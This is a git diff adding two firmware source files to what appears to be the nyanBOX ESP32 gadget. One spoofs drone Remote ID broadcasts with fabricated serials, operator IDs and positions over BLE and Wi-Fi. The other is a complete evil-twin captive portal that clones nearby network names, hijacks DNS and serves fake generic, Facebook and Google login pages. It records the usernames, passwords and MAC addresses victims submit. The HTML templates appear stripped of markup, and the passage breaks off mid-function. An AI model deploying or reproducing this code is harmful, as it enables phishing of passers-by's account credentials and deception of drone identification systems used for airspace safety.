a/cyd-port/src/drone_spoofer.cpp b/cyd-port/src/drone_spoofer.cpp new file mode 100644 index 0000000..b517ff4 --- /dev/null +++ b/cyd-port/src/drone_spoofer.cpp @@ -0,0 +1,554 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Open Drone ID (ODID) Remote ID spoofing + per the ASTM F3411 / ASD-STAN prEN 4709-002 spec + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/drone_spoofer.h" +#include "../include/display_mirror.h" +#include "../include/pindefs.h" +#include +#include +#include "esp_wifi.h" +#include "esp_bt.h" +#include "esp_gap_ble_api.h" +#include "esp_bt_main.h" +#include "../include/radio_manager.h" +#include + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +#define ODID_MESSAGE_SIZE 25 +#define ODID_ID_SIZE 20 +#define MSG_TYPE_COUNT 4 +#define CYCLES_PER_PHASE 50 +#define WIFI_CHANNEL 6 + +static uint8_t msgCounter = 0; +static unsigned long lastAdvTime = 0; +static unsigned long lastDisplayUpdate = 0; +static unsigned long blePktCount = 0; +static unsigned long wifiPktCount = 0; +static unsigned long uniqueDrones = 0; +static bool bleInitialized = false; +static bool wifiInitialized = false; +static bool isAdvertising = false; +static bool needsRedraw = true; +static int currentMsgType = 0; +static int cyclesInPhase = 0; + +enum DroneSpooferMode { DS_IDLE, DS_BLE, DS_WIFI }; +static DroneSpooferMode spooferMode = DS_IDLE; + +static const unsigned long ADV_INTERVAL_MS = 20; +static const unsigned long DISPLAY_UPDATE_MS = 1000; + +static const char SERIAL_CHARS[] = "0123456789ABCDEFGHJKLMNPRSTUVWXYZ"; +static const int SERIAL_CHARS_LEN = sizeof(SERIAL_CHARS) - 1; + +static uint8_t advData[31]; +static uint8_t bleMac[6]; +static uint8_t wifiMac[6]; + +static char curSerial[ODID_ID_SIZE + 1]; +static double curLat, curLon; +static float curAltGeo, curAltBaro, curSpeed, curDir, curHeight; +static uint8_t curUAType, curStatus, curIDType, curHeightType; +static char curOperatorId[ODID_ID_SIZE + 1]; +static double curOpLat, curOpLon; +static float curOpAlt; +static int8_t curVSpeed; + +static esp_ble_adv_params_t adv_params = { + .adv_int_min = 0x0020, + .adv_int_max = 0x0040, + .adv_type = ADV_TYPE_NONCONN_IND, + .own_addr_type = BLE_ADDR_TYPE_RANDOM, + .channel_map = ADV_CHNL_ALL, + .adv_filter_policy = ADV_FILTER_ALLOW_SCAN_ANY_CON_ANY, +}; + +static uint8_t wifiBeaconFrame[84] = { + 0x80, 0x00, + 0x00, 0x00, + 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x64, 0x00, + 0x01, 0x04, + 0x00, 0x00, + 0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x0c, 0x18, 0x30, 0x48, + 0x03, 0x01, WIFI_CHANNEL, + 0xDD, + 0x1E, + 0xFA, 0x0B, 0xBC, + 0x0D, + 0x00, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0x00 +}; + +static uint8_t wifiNanFrame[52] = { + 0xD0, 0x00, + 0x00, 0x00, + 0x51, 0x6F, 0x9A, 0x01, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x51, 0x6F, 0x9A, 0x01, 0x00, 0x00, + 0x00, 0x00, + 0x04, + 0x09, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0x00 +}; + +static void gap_event_handler(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param) { + switch (event) { + case ESP_GAP_BLE_ADV_START_COMPLETE_EVT: + isAdvertising = (param->adv_start_cmpl.status == ESP_BT_STATUS_SUCCESS); + break; + case ESP_GAP_BLE_ADV_STOP_COMPLETE_EVT: + isAdvertising = false; + break; + default: + break; + } +} + +static double randomDouble(double min, double max) { + return min + (double)random(1000000) / 1000000.0 * (max - min); +} + +static float randomFloat(float min, float max) { + return min + (float)random(10000) / 10000.0f * (max - min); +} + +static void randomizeBLEMac(uint8_t *mac) { + for (int i = 0; i < 6; i++) mac[i] = (uint8_t)random(256); + mac[0] |= 0xC0; + mac[0] &= 0xFE; +} + +static void randomizeWiFiMac(uint8_t *mac) { + for (int i = 0; i < 6; i++) mac[i] = (uint8_t)random(256); + mac[0] |= 0x02; + mac[0] &= 0xFE; +} + +static void randomizeSerial(char *serial) { + for (int i = 0; i < ODID_ID_SIZE; i++) { + serial[i] = SERIAL_CHARS[random(SERIAL_CHARS_LEN)]; + } + serial[ODID_ID_SIZE] = '\0'; +} + +static void randomizeOperatorId(char *opId) { + int fmt = random(3); + memset(opId, 0, ODID_ID_SIZE + 1); + if (fmt == 0) { + strcpy(opId, "OP-"); + for (int i = 3; i < 11; i++) opId[i] = SERIAL_CHARS[random(SERIAL_CHARS_LEN)]; + } else if (fmt == 1) { + strcpy(opId, "FAA-"); + for (int i = 4; i < 14; i++) opId[i] = SERIAL_CHARS[random(SERIAL_CHARS_LEN)]; + } else { + int len = random(8, ODID_ID_SIZE); + for (int i = 0; i < len; i++) opId[i] = SERIAL_CHARS[random(SERIAL_CHARS_LEN)]; + } +} + +static void randomizeDrone() { + randomizeBLEMac(bleMac); + randomizeWiFiMac(wifiMac); + randomizeSerial(curSerial); + + curLat = randomDouble(-90.0, 90.0); + curLon = randomDouble(-180.0, 180.0); + curAltGeo = randomFloat(5.0f, 500.0f); + curAltBaro = curAltGeo + randomFloat(-10.0f, 10.0f); + curSpeed = randomFloat(0.0f, 50.0f); + curDir = randomFloat(0.0f, 359.0f); + curHeight = randomFloat(1.0f, 400.0f); + curVSpeed = (int8_t)random(-20, 21); + curUAType = (uint8_t)random(16); + curStatus = (uint8_t)random(5); + curIDType = (uint8_t)random(5); + curHeightType = (uint8_t)random(2); + + randomizeOperatorId(curOperatorId); + curOpLat = curLat + randomDouble(-0.05, 0.05); + curOpLon = curLon + randomDouble(-0.05, 0.05); + curOpAlt = randomFloat(0.0f, 100.0f); + + uniqueDrones++; +} + +static int32_t encodeLatLon(double val) { + return (int32_t)(val * 10000000.0); +} + +static uint16_t encodeAltitude(float alt) { + return (uint16_t)((alt + 1000.0f) / 0.5f); +} + +static void encodeBasicIDMessage(uint8_t *out) { + memset(out, 0, ODID_MESSAGE_SIZE); + out[1] = (curIDType << 4) | (curUAType & 0x0F); + memcpy(&out[2], curSerial, ODID_ID_SIZE); +} + +static void encodeLocationMessage(uint8_t *out) { + memset(out, 0, ODID_MESSAGE_SIZE); + out[0] = (0x1 << 4); + + uint8_t ewDir = 0; + uint8_t dirEnc; + if (curDir >= 180.0f) { + ewDir = 1; + dirEnc = (uint8_t)(curDir - 180.0f); + } else { + dirEnc = (uint8_t)curDir; + } + + uint8_t speedMult = 0; + uint8_t speedEnc; + if (curSpeed <= 63.75f) { + speedMult = 0; + speedEnc = (uint8_t)(curSpeed / 0.25f); + } else { + speedMult = 1; + speedEnc = (uint8_t)((curSpeed - 63.75f) / 0.75f); + } + + out[1] = (curStatus << 4) | (curHeightType << 2) | (ewDir << 1) | speedMult; + out[2] = dirEnc; + out[3] = speedEnc; + out[4] = (uint8_t)curVSpeed; + + int32_t lat = encodeLatLon(curLat); + out[5] = lat & 0xFF; out[6] = (lat >> 8) & 0xFF; + out[7] = (lat >> 16) & 0xFF; out[8] = (lat >> 24) & 0xFF; + + int32_t lon = encodeLatLon(curLon); + out[9] = lon & 0xFF; out[10] = (lon >> 8) & 0xFF; + out[11] = (lon >> 16) & 0xFF; out[12] = (lon >> 24) & 0xFF; + + uint16_t altBaro = encodeAltitude(curAltBaro); + out[13] = altBaro & 0xFF; out[14] = (altBaro >> 8) & 0xFF; + + uint16_t altGeo = encodeAltitude(curAltGeo); + out[15] = altGeo & 0xFF; out[16] = (altGeo >> 8) & 0xFF; + + uint16_t height = encodeAltitude(curHeight); + out[17] = height & 0xFF; out[18] = (height >> 8) & 0xFF; + + out[19] = ((uint8_t)random(16) << 4) | (uint8_t)random(16); + out[20] = ((uint8_t)random(16) << 4) | (uint8_t)random(16); + + float ts = fmod((float)(millis() / 1000), 3600.0f); + uint16_t tsEnc = (uint16_t)(ts * 10.0f); + out[21] = tsEnc & 0xFF; out[22] = (tsEnc >> 8) & 0xFF; + out[23] = (uint8_t)random(16); +} + +static void encodeSystemMessage(uint8_t *out) { + memset(out, 0, ODID_MESSAGE_SIZE); + out[0] = (0x4 << 4); + out[1] = ((uint8_t)random(8) << 2) | (uint8_t)random(4); + + int32_t opLat = encodeLatLon(curOpLat); + out[2] = opLat & 0xFF; out[3] = (opLat >> 8) & 0xFF; + out[4] = (opLat >> 16) & 0xFF; out[5] = (opLat >> 24) & 0xFF; + + int32_t opLon = encodeLatLon(curOpLon); + out[6] = opLon & 0xFF; out[7] = (opLon >> 8) & 0xFF; + out[8] = (opLon >> 16) & 0xFF; out[9] = (opLon >> 24) & 0xFF; + + uint16_t areaCount = (uint16_t)random(1, 100); + out[10] = areaCount & 0xFF; out[11] = (areaCount >> 8) & 0xFF; + out[12] = (uint8_t)random(256); + + uint16_t ceiling = encodeAltitude(curAltGeo + randomFloat(10.0f, 200.0f)); + out[13] = ceiling & 0xFF; out[14] = (ceiling >> 8) & 0xFF; + + uint16_t floor = encodeAltitude(randomFloat(-10.0f, 50.0f)); + out[15] = floor & 0xFF; out[16] = (floor >> 8) & 0xFF; + + out[17] = ((uint8_t)random(16) << 4) | (uint8_t)random(16); + + uint16_t opAlt = encodeAltitude(curOpAlt); + out[18] = opAlt & 0xFF; out[19] = (opAlt >> 8) & 0xFF; + + uint32_t ts = (uint32_t)(millis() / 1000); + out[20] = ts & 0xFF; out[21] = (ts >> 8) & 0xFF; + out[22] = (ts >> 16) & 0xFF; out[23] = (ts >> 24) & 0xFF; +} + +static void encodeOperatorIDMessage(uint8_t *out) { + memset(out, 0, ODID_MESSAGE_SIZE); + out[0] = (0x5 << 4); + out[1] = (uint8_t)random(2); + size_t len = strlen(curOperatorId); + if (len > ODID_ID_SIZE) len = ODID_ID_SIZE; + memcpy(&out[2], curOperatorId, len); +} + +static void encodeODIDMessage(uint8_t *out, int msgType) { + switch (msgType) { + case 0: encodeBasicIDMessage(out); break; + case 1: encodeLocationMessage(out); break; + case 2: encodeSystemMessage(out); break; + case 3: encodeOperatorIDMessage(out); break; + } +} + +static void buildBLEAdvData(const uint8_t *odidMsg) { + advData[0] = 30; + advData[1] = 0x16; + advData[2] = 0xFA; + advData[3] = 0xFF; + advData[4] = 0x0D; + advData[5] = msgCounter++; + memcpy(&advData[6], odidMsg, ODID_MESSAGE_SIZE); +} + +static void sendBLE(const uint8_t *odidMsg) { + if (isAdvertising) { + esp_ble_gap_stop_advertising(); + unsigned long t = millis(); + while (isAdvertising && millis() - t < 50) delay(1); + } + + esp_ble_gap_set_rand_addr(bleMac); + delay(2); + + buildBLEAdvData(odidMsg); + esp_ble_gap_config_adv_data_raw(advData, 31); + delay(2); + esp_ble_gap_start_advertising(&adv_params); + + blePktCount++; +} + +static void sendWiFiBeacon(const uint8_t *odidMsg) { + if (!wifiInitialized) return; + + memcpy(&wifiBeaconFrame[10], wifiMac, 6); + memcpy(&wifiBeaconFrame[16], wifiMac, 6); + + uint16_t seqNum = random(4096) << 4; + wifiBeaconFrame[22] = seqNum & 0xFF; + wifiBeaconFrame[23] = (seqNum >> 8) & 0xFF; + + uint64_t timestamp = (uint64_t)esp_timer_get_time(); + memcpy(&wifiBeaconFrame[24], ×tamp, 8); + + wifiBeaconFrame[57] = msgCounter; + + memcpy(&wifiBeaconFrame[58], odidMsg, ODID_MESSAGE_SIZE); + + esp_wifi_80211_tx(WIFI_IF_STA, wifiBeaconFrame, sizeof(wifiBeaconFrame), false); + wifiPktCount++; +} + +static void sendWiFiNAN(const uint8_t *odidMsg) { + if (!wifiInitialized) return; + + memcpy(&wifiNanFrame[10], wifiMac, 6); + + uint16_t seqNum = random(4096) << 4; + wifiNanFrame[22] = seqNum & 0xFF; + wifiNanFrame[23] = (seqNum >> 8) & 0xFF; + + memcpy(&wifiNanFrame[26], odidMsg, ODID_MESSAGE_SIZE); + + esp_wifi_80211_tx(WIFI_IF_STA, wifiNanFrame, sizeof(wifiNanFrame), false); +} + +static void startBLE() { + if (bleInitialized) return; + if (!initBLE()) return; + esp_ble_gap_register_callback(gap_event_handler); + bleInitialized = true; +} + +static void stopBLE() { + if (!bleInitialized) return; + cleanupBLE(); + bleInitialized = false; + isAdvertising = false; +} + +static void startWiFi() { + if (wifiInitialized) return; + initWiFi(WIFI_MODE_STA); + esp_wifi_set_promiscuous(true); + esp_wifi_set_channel(WIFI_CHANNEL, WIFI_SECOND_CHAN_NONE); + wifiInitialized = true; +} + +static void stopWiFi() { + if (!wifiInitialized) return; + esp_wifi_set_promiscuous(false); + esp_wifi_stop(); + delay(50); + wifiInitialized = false; +} + +static void switchPhase() { + if (spooferMode == DS_BLE) { + stopBLE(); + startWiFi(); + spooferMode = DS_WIFI; + } else { + stopWiFi(); + startBLE(); + spooferMode = DS_BLE; + } +} + +static void sendNextMessage() { + if (currentMsgType == 0) { + randomizeDrone(); + } + + uint8_t odidMsg[ODID_MESSAGE_SIZE]; + encodeODIDMessage(odidMsg, currentMsgType); + + if (spooferMode == DS_BLE) { + sendBLE(odidMsg); + } else { + sendWiFiBeacon(odidMsg); + sendWiFiNAN(odidMsg); + } + + currentMsgType++; + if (currentMsgType >= MSG_TYPE_COUNT) { + currentMsgType = 0; + cyclesInPhase++; + if (cyclesInPhase >= CYCLES_PER_PHASE) { + cyclesInPhase = 0; + switchPhase(); + } + } +} + +static void fmtCount(char *out, size_t sz, unsigned long val) { + if (val < 1000) { + snprintf(out, sz, "%lu", val); + } else { + snprintf(out, sz, "%.2fk", val / 1000.0); + } +} + +static void drawDisplay() { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_profont11_tf); + + u8g2.drawStr(0, 10, "Drone Spoofer"); + u8g2.drawLine(0, 12, u8g2.getUTF8Width("Drone Spoofer"), 12); + + u8g2.drawStr(0, 26, "Status:"); + u8g2.setCursor(50, 26); + u8g2.print(spooferMode != DS_IDLE ? "Active" : "Stopped"); + + char buf[32], v1[16], v2[16], v3[16]; + fmtCount(v1, sizeof(v1), uniqueDrones); + snprintf(buf, sizeof(buf), "Drones: %s", v1); + u8g2.drawStr(0, 40, buf); + + fmtCount(v2, sizeof(v2), blePktCount); + fmtCount(v3, sizeof(v3), wifiPktCount); + snprintf(buf, sizeof(buf), "BLE:%s WiFi:%s", v2, v3); + u8g2.drawStr(0, 52, buf); + + u8g2.setFont(u8g2_font_4x6_tr); + u8g2.drawStr(0, 62, "UP: Start/Stop"); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +void droneSpooferSetup() { + currentMsgType = 0; + cyclesInPhase = 0; + msgCounter = 0; + lastAdvTime = 0; + lastDisplayUpdate = 0; + blePktCount = 0; + wifiPktCount = 0; + uniqueDrones = 0; + bleInitialized = false; + wifiInitialized = false; + isAdvertising = false; + spooferMode = DS_IDLE; + needsRedraw = true; + memset(bleMac, 0, sizeof(bleMac)); + memset(wifiMac, 0, sizeof(wifiMac)); + + randomSeed(esp_random()); + + drawDisplay(); + delay(500); +} + +void droneSpooferLoop() { + static unsigned long lastButtonCheck = 0; + unsigned long now = millis(); + + if (now - lastButtonCheck > 300) { + if (digitalRead(BUTTON_PIN_UP) == LOW) { + if (spooferMode == DS_IDLE) { + spooferMode = DS_BLE; + drawDisplay(); + startBLE(); + } else { + if (spooferMode == DS_BLE) stopBLE(); + else stopWiFi(); + spooferMode = DS_IDLE; + drawDisplay(); + } + delay(500); + lastButtonCheck = millis(); + } + } + + now = millis(); + + switch (spooferMode) { + case DS_IDLE: + break; + case DS_BLE: + case DS_WIFI: + if (now - lastAdvTime >= ADV_INTERVAL_MS) { + sendNextMessage(); + lastAdvTime = now; + } + break; + } + + if (now - lastDisplayUpdate >= DISPLAY_UPDATE_MS) { + lastDisplayUpdate = now; + needsRedraw = true; + } + + if (needsRedraw) { + drawDisplay(); + needsRedraw = false; + } +} + +void cleanupDroneSpoofer() { + if (spooferMode == DS_BLE) stopBLE(); + spooferMode = DS_IDLE; + cleanupWiFi(); +} \ No newline at end of file diff --git a/cyd-port/src/evil_portal.cpp b/cyd-port/src/evil_portal.cpp new file mode 100644 index 0000000..e6e5dbf --- /dev/null +++ b/cyd-port/src/evil_portal.cpp @@ -0,0 +1,863 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/evil_portal.h" +#include "../include/radio_manager.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include "../include/pindefs.h" +#include "../include/setting.h" +#include "esp_wifi.h" +#include "esp_event.h" +#include "esp_netif.h" +#include +#include + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +const char* customSSIDs[] = { + "Free WiFi", "Guest", "Hotel WiFi", "Airport WiFi", + "Starbucks", "McDonald's WiFi", "Public WiFi", "Open Network" +}; +const int customSSIDCount = sizeof(customSSIDs) / sizeof(customSSIDs[0]); + +namespace { + +enum EvilPortalState { + PORTAL_MENU, + PORTAL_RUNNING, + PORTAL_VIEW_CREDS, + PORTAL_SCANNING +}; + +EvilPortalState currentState = PORTAL_MENU; +int menuSelection = 0; +int credIndex = 0; +esp_netif_t *ap_netif = NULL; + +struct Credential { + String ssid; + String username; + String password; + String macAddress; + unsigned long captureTime; +}; + +std::vector capturedCreds; +String currentSSID = "Free WiFi"; +int connectedClients = 0; +int totalVisitors = 0; + +std::vector scannedSSIDs; +int currentSSIDIndex = 0; +bool portal_scanCompleted = false; +unsigned long portal_lastScanTime = 0; +unsigned long menuEnterTime = 0; +unsigned long portal_scanStartTime = 0; +unsigned long portal_lastDisplayUpdate = 0; +uint16_t portal_lastApCount = 0; +bool portal_isScanning = false; +const unsigned long SCAN_INTERVAL = 60000; +const unsigned long SCAN_DURATION = 8000; +const unsigned long DISPLAY_UPDATE_INTERVAL = 100; + +static bool needsRedraw = true; +static int lastMenuSelection = -1; +static int lastCredIndex = -1; +static int lastConnectedClients = -1; +static int lastTotalVisitors = -1; +static int lastCapturedCredsSize = 0; +static int lastScannedSSIDsSize = 0; +static EvilPortalState lastState = PORTAL_MENU; +static String lastCurrentSSID = ""; +static int lastCurrentTemplate = -1; +static unsigned long lastStatusUpdate = 0; +const unsigned long statusUpdateInterval = 1000; + +WebServer portalServer(80); +DNSServer portalDNS; +const byte DNS_PORT = 53; + +const char* loginPortalHTML = R"( + + + + WiFi Login + + + + +
+

WiFi Network Login

+

Please enter your credentials to access the internet:

+
+ + + +
+ +
+ + +)"; + +const char* facebookPortalHTML = R"( + + + + Facebook WiFi + + + + +
+ +

Log in to Facebook to continue to WiFi

+
+ + + +
+ +
+ + +)"; + +const char* googlePortalHTML = R"( + + + + Google WiFi + + + + +
+ +

Sign in to WiFi

+
+ + + +
+ +
+ + +)"; + +int currentTemplate = 0; +const char* portalTemplates[] = { + loginPortalHTML, + facebookPortalHTML, + googlePortalHTML +}; +const char* templateNames[] = { + "Generic Login", + "Facebook WiFi", + "Google WiFi" +}; +const int numTemplates = 3; + +void handleCaptivePortal() { + portalServer.send(200, "text/html", portalTemplates[currentTemplate]); + totalVisitors++; +} + +void handleLogin() { + String username = portalServer.arg("username"); + String password = portalServer.arg("password"); + + if (username.length() > 0 && password.length() > 0) { + Credential newCred; + newCred.ssid = currentSSID; + newCred.username = username; + newCred.password = password; + + String macAddr = "Unknown"; + wifi_sta_list_t stationList; + esp_err_t err = esp_wifi_ap_get_sta_list(&stationList); + + if (err == ESP_OK && stationList.num > 0) { + int lastIdx = (stationList.num == 1) ? 0 : stationList.num - 1; + char macStr[18]; + snprintf(macStr, sizeof(macStr), "%02X:%02X:%02X:%02X:%02X:%02X", + stationList.sta[lastIdx].mac[0], stationList.sta[lastIdx].mac[1], + stationList.sta[lastIdx].mac[2], stationList.sta[lastIdx].mac[3], + stationList.sta[lastIdx].mac[4], stationList.sta[lastIdx].mac[5]); + macAddr = String(macStr); + } + + newCred.macAddress = macAddr; + newCred.captureTime = millis(); + capturedCreds.push_back(newCred); + } + portalServer.send(200, "text/html", + "" + "

Connected Successfully!

" + "

You are now connected to the internet.

" + "

Thank you for using our WiFi service.

" + ""); +} + +void setupPortalAP() { + wifi_mode_t currentMode; + if (esp_wifi_get_mode(¤tMode) == ESP_OK) { + esp_wifi_stop(); + delay(50); + esp_wifi_deinit(); + delay(50); + } + + if (ap_netif != NULL) { + esp_netif_destroy(ap_netif); + ap_netif = NULL; + } + + ap_netif = esp_netif_create_default_wifi_ap(); + + wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); + esp_wifi_init(&cfg); + esp_wifi_set_mode(WIFI_MODE_AP); + + wifi_config_t ap_config = {}; + memset(&ap_config, 0, sizeof(wifi_config_t)); + strncpy((char*)ap_config.ap.ssid, currentSSID.c_str(), sizeof(ap_config.ap.ssid) - 1); + ap_config.ap.ssid[sizeof(ap_config.ap.ssid) - 1] = '\0'; + ap_config.ap.ssid_len = currentSSID.length(); + ap_config.ap.channel = 1; + ap_config.ap.authmode = WIFI_AUTH_OPEN; + ap_config.ap.ssid_hidden = 0; + ap_config.ap.max_connection = 4; + ap_config.ap.beacon_interval = 100; + + esp_wifi_set_config(WIFI_IF_AP, &ap_config); + esp_wifi_start(); + delay(200); + + esp_netif_ip_info_t ip_info; + if (esp_netif_get_ip_info(ap_netif, &ip_info) == ESP_OK) { + IPAddress apIP(ip_info.ip.addr); + portalDNS.stop(); + portalDNS.start(DNS_PORT, "*", apIP); + } + + portalServer.onNotFound(handleCaptivePortal); + portalServer.on("/", handleCaptivePortal); + portalServer.on("/login", HTTP_POST, handleLogin); + portalServer.on("/generate_204", handleCaptivePortal); + portalServer.on("/hotspot-detect.html", handleCaptivePortal); + portalServer.on("/connecttest.txt", handleCaptivePortal); + portalServer.on("/redirect", handleCaptivePortal); + + portalServer.begin(); +} + +void stopPortalAP() { + portalServer.stop(); + portalDNS.stop(); + cleanupWiFi(); + ap_netif = NULL; +} + +void processScanResults(unsigned long now) { + uint16_t number = 0; + esp_wifi_scan_get_ap_num(&number); + + if (number == 0) return; + + wifi_ap_record_t *ap_info = (wifi_ap_record_t *)malloc(sizeof(wifi_ap_record_t) * number); + if (ap_info == NULL) return; + + memset(ap_info, 0, sizeof(wifi_ap_record_t) * number); + uint16_t actual_number = number; + esp_err_t err = esp_wifi_scan_get_ap_records(&actual_number, ap_info); + + if (err == ESP_OK) { + for (int i = 0; i < actual_number && scannedSSIDs.size() < 92; i++) { + if (ap_info[i].ssid[0] != '\0') { + String ssid = String((char*)ap_info[i].ssid); + bool exists = false; + for (const String& existingSSID : scannedSSIDs) { + if (existingSSID == ssid) { + exists = true; + break; + } + } + if (!exists) { + scannedSSIDs.push_back(ssid); + } + } + } + } + + free(ap_info); +} + +void startScan() { + scannedSSIDs.clear(); + portal_isScanning = true; + portal_scanCompleted = false; + portal_lastApCount = 0; + portal_scanStartTime = millis(); + portal_lastDisplayUpdate = millis(); + + esp_wifi_set_mode(WIFI_MODE_STA); + delay(100); + + wifi_scan_config_t scan_config = { + .ssid = NULL, + .bssid = NULL, + .channel = 0, + .show_hidden = false, + .scan_type = WIFI_SCAN_TYPE_ACTIVE, + .scan_time = { + .active = { + .min = 120, + .max = 200 + } + } + }; + + esp_wifi_scan_start(&scan_config, false); + currentState = PORTAL_SCANNING; +} + +void updateScan() { + unsigned long now = millis(); + + uint16_t currentApCount = 0; + esp_wifi_scan_get_ap_num(¤tApCount); + + if (currentApCount > portal_lastApCount) { + processScanResults(now); + portal_lastApCount = currentApCount; + } + + if (lastScannedSSIDsSize != (int)scannedSSIDs.size()) { + lastScannedSSIDsSize = (int)scannedSSIDs.size(); + needsRedraw = true; + } + + if (now - portal_lastDisplayUpdate > DISPLAY_UPDATE_INTERVAL) { + portal_lastDisplayUpdate = now; + needsRedraw = true; + } + + if (needsRedraw) { + needsRedraw = false; + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Scanning WiFi..."); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "Found: %d networks", (int)scannedSSIDs.size()); + u8g2.drawStr(0, 25, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = 4; + int barY = 35; + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + unsigned long elapsed = now - portal_scanStartTime; + int fillWidth = ((elapsed * (barWidth - 4)) / SCAN_DURATION); + if (fillWidth > (barWidth - 4)) fillWidth = barWidth - 4; + if (fillWidth > 0) { + u8g2.drawBox(barX + 2, barY + 2, fillWidth, barHeight - 4); + } + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 60, "Press SEL to exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + } + + if (now - portal_scanStartTime > SCAN_DURATION) { + processScanResults(now); + esp_wifi_scan_stop(); + + for (int i = 0; i < customSSIDCount && scannedSSIDs.size() < 100; i++) { + String customSSID = String(customSSIDs[i]); + bool exists = false; + for (const String& existingSSID : scannedSSIDs) { + if (existingSSID == customSSID) { + exists = true; + break; + } + } + if (!exists) { + scannedSSIDs.push_back(customSSID); + } + } + + portal_isScanning = false; + portal_scanCompleted = true; + portal_lastScanTime = now; + currentState = PORTAL_MENU; + + if (!scannedSSIDs.empty()) { + if (currentSSIDIndex >= scannedSSIDs.size()) { + currentSSIDIndex = 0; + } + currentSSID = scannedSSIDs[currentSSIDIndex]; + } + } +} + +void drawPortalMenu() { + u8g2.clearBuffer(); + + const char* menuItems[] = { + "Start Portal", + "Change Template", + "Change SSID", + "View Captured" + }; + + for (int i = 0; i < 4; i++) { + char itemStr[32]; + bool selected = (menuSelection == i); + + if (i == 1) { + snprintf(itemStr, sizeof(itemStr), "%s %s", + selected ? ">" : " ", templateNames[currentTemplate]); + } else if (i == 2) { + char maskedSSID[33]; + maskNameEvilPortal(currentSSID.c_str(), maskedSSID, sizeof(maskedSSID) - 1, customSSIDs, customSSIDCount); + char truncatedSSID[16]; + if (strlen(maskedSSID) > 12) { + strncpy(truncatedSSID, maskedSSID, 12); + truncatedSSID[12] = '\0'; + strcat(truncatedSSID, ".."); + } else { + strcpy(truncatedSSID, maskedSSID); + } + snprintf(itemStr, sizeof(itemStr), "%s SSID: %s", + selected ? ">" : " ", truncatedSSID); + } else if (i == 3) { + snprintf(itemStr, sizeof(itemStr), "%s %s (%d)", + selected ? ">" : " ", menuItems[i], (int)capturedCreds.size()); + } else { + snprintf(itemStr, sizeof(itemStr), "%s %s", + selected ? ">" : " ", menuItems[i]); + } + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 12 + (i * 10), itemStr); + } + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "U/D=NAV R=OK SEL=EXIT"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +void drawPortalStatus() { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 10, "Portal Running"); + char maskedSSID[33]; + maskNameEvilPortal(currentSSID.c_str(), maskedSSID, sizeof(maskedSSID) - 1, customSSIDs, customSSIDCount); + char ssidStr[22]; + if (strlen(maskedSSID) > 18) { + strncpy(ssidStr, maskedSSID, 16); + ssidStr[16] = '\0'; + strcat(ssidStr, ".."); + } else { + strcpy(ssidStr, maskedSSID); + } + u8g2.drawStr(0, 22, ssidStr); + char templateStr[22]; + if (strlen(templateNames[currentTemplate]) > 18) { + strncpy(templateStr, templateNames[currentTemplate], 16); + templateStr[16] = '\0'; + strcat(templateStr, ".."); + } else { + strcpy(templateStr, templateNames[currentTemplate]); + } + u8g2.drawStr(0, 34, templateStr); + + char statsStr[32]; + snprintf(statsStr, sizeof(statsStr), "Clients:%d Visits:%d", connectedClients, totalVisitors); + u8g2.drawStr(0, 46, statsStr); + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "L=Stop SEL=EXIT"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +void drawCredentialsList() { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_5x8_tr); + + if (capturedCreds.empty()) { + u8g2.drawStr(0, 10, "No Credentials"); + u8g2.drawStr(0, 22, "Captured Yet"); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "L=Back SEL=EXIT"); + } else { + const Credential& cred = capturedCreds[credIndex]; + + char maskedSSIDFull[33]; + maskNameEvilPortal(cred.ssid.c_str(), maskedSSIDFull, sizeof(maskedSSIDFull) - 1, customSSIDs, customSSIDCount); + char ssidStr[22]; + if (strlen(maskedSSIDFull) > 20) { + strncpy(ssidStr, maskedSSIDFull, 18); + ssidStr[18] = '\0'; + strcat(ssidStr, ".."); + } else { + strcpy(ssidStr, maskedSSIDFull); + } + u8g2.drawStr(0, 10, "Net:"); + u8g2.drawStr(25, 10, ssidStr); + + char maskedMACFull[18]; + maskMAC(cred.macAddress.c_str(), maskedMACFull); + char macStr[18]; + if (strlen(maskedMACFull) > 17) { + strncpy(macStr, maskedMACFull, 17); + macStr[17] = '\0'; + } else { + strcpy(macStr, maskedMACFull); + } + 